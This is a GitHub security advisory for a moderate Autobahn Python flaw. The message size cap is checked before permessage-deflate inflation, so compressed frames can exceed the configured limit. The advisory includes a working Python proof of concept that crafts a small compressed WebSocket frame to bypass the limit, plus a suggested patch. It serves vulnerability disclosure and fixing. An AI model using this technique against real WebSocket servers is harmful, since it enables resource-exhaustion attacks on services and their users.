~ / search / GHSA-hxp9-w8x3-p566

GHSA-hxp9-w8x3-p566

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Source: GitHub Advisory Database (reviewed) Moderate CVE-2026-77528

Packages

EcosystemPackageAffectedFixed in
PyPI autobahn < 26.7.1 26.7.1
PyPI crossbar < 26.7.1 26.7.1

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary Autobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide. ### Details The permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message. ### Reproduction ```py import sys import types import zlib if len(sys.argv) != 2: raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>") SRC = sys.argv[1] class _Log: def debug(self, *args, **kwargs): pass def warn(self, *args, **kwargs): pass def error(self, *args, **kwargs): pass class _Timer: def call_later(self, *args, **kwargs): return self def cancel(self): pass txaio = types.ModuleType("txaio") txaio.make_logger = lambda: _Log() txaio.create_future = lambda result=None: result txaio.resolve = lambda future, value=None: None txaio.reject = lambda future, error=None: None txaio.add_callbacks = ( lambda future, callback=None, errback=None: callback(future) if callback else None ) txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs) txaio.failure_format_traceback = lambda err: str(err) txaio.call_later = lambda *args, **kwargs: _Timer() txaio.make_batched_timer = lambda *args, **kwargs: _Timer() txaio.time_ns = lambda: 0 txaio.use_asyncio = lambda: None txaio.use_twisted = lambda: None sys.modules["txaio"] = txaio hyperlink = types.ModuleType("hyperlink") class _URL: @classmethod def from_text(cls, text): return cls(text) def __init__(self, text): self._text = text def to_uri(self): return self def normalize(self): return self def to_text(self): return self._text hyperlink.URL = _URL sys.modules["hyperlink"] = hyperlink wamp_types = types.ModuleType("autobahn.wamp.types") class TransportDetails: pass wamp_types.TransportDetails = TransportDetails sys.modules["autobahn.wamp.types"] = wamp_types sys.path.insert(0, SRC + "/src") from autobahn.websocket.compress_deflate import PerMessageDeflate from autobahn.websocket.protocol import WebSocketProtocol class _Factory: isServer = True requireMaskedClientFrames = True maskServerFrames = False utf8validateIncoming = True applyMask = True maxFramePayloadSize = 128 maxMessagePayloadSize = 128 autoFragmentSize = 0 failByDrop = True echoCloseCodeReason = False openHandshakeTimeout = 5 closeHandshakeTimeout = 1 tcpNoDelay = True autoPingInterval = 0 autoPingTimeout = 0 autoPingSize = 12 autoPingRestartOnAnyTraffic = True logOctets = False logFrames = False trackTimings = False versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS webStatus = False perMessageCompressionAccept = staticmethod(lambda offer: None) serveFlashSocketPolicy = False flashSocketPolicy = "" allowedOrigins = ["*"] allowedOriginsPatterns = [] allowNullOrigin = True maxConnections = 0 trustXForwardedFor = 0 _batched_timer = _Timer() class CapturingProtocol(WebSocketProtocol): CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER def __init__(self): super().__init__() self.delivered = None def _onMessageBegin(self, isBinary): self.onMessageBegin(isBinary) def _onMessageFrameBegin(self, length): self.onMessageFrameBegin(length) def _onMessageFrameData(self, payload): self.onMessageFrameData(payload) def _onMessageFrameEnd(self): self.onMessageFrameEnd() def _onMessageFrame(self, payload): self.onMessageFrame(payload) def _onMessageEnd(self): self.onMessageEnd() def _onMessage(self, payload, isBinary): self.delivered = payload def sendData(self, data, sync=False, chopsize=None): pass def dropConnection(self, abort=True): self.droppedByMe = True self.state = WebSocketProtocol.STATE_CLOSED def masked_compressed_text_frame(payload): compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15) compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH) compressed = compressed[:-4] mask = b"\x11\x22\x33\x44" masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed)) if len(compressed) <= 125: header = bytes([0xC1, 0x80 | len(compressed)]) elif len(compressed) <= 65535: header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big") else: raise RuntimeError("compressed fixture too large") return header + mask + masked, len(compressed) limit = 128 inflated = b"X" * 4096 frame, compressed_len = masked_compressed_text_frame(inflated) if compressed_len >= limit: raise SystemExit("compressed fixture does not pass pre-inflate limit") proto = CapturingProtocol() proto.factory = _Factory() proto.log = _Log() proto._connectionMade() proto._perMessageCompress = PerMessageDeflate( is_server=True, server_no_context_takeover=False, client_no_context_takeover=False, server_max_window_bits=15, client_max_window_bits=15, mem_level=8, max_message_size=None, ) proto.state = WebSocketProtocol.STATE_OPEN proto.inside_message = False proto.current_frame = None proto.websocket_version = 13 proto._dataReceived(frame) delivered_len = len(proto.delivered or b"") if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded: print( "AUTOBAHN_DEFLATE_LIMIT_BYPASS " f"delivered_length={delivered_len} configured_limit={limit} " f"compressed_length={compressed_len}" ) raise SystemExit(0) print( "guarded " f"delivered_length={delivered_len} configured_limit={limit} " f"compressed_length={compressed_len} " f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}" ) raise SystemExit(1) ``` ### Impact A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise. ### Suggested fix ```001-fix.diff diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py index 3c060804..4514e3cb 100644 --- a/src/autobahn/websocket/protocol.py +++ b/src/autobahn/websocket/protocol.py @@ -1869,6 +1869,17 @@ class WebSocketProtocol: if self.state == WebSocketProtocol.STATE_OPEN: self.trafficStats.incomingOctetsWebSocketLevel += compressedLen self.trafficStats.incomingOctetsAppLevel += uncompressedLen + + if self._isMessageCompressed: + self.message_data_total_length += uncompressedLen - compressedLen + if 0 < self.maxMessagePayloadSize < self.message_data_total_length: + self.wasMaxMessagePayloadSizeExceeded = True + self._max_message_size_exceeded( + self.message_data_total_length, + self.maxMessagePayloadSize, + f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets", + ) + return False # incrementally validate UTF-8 payload # ``` *Reported by Team Atlanta.*

References

External links from the advisory. They lead to third-party sites.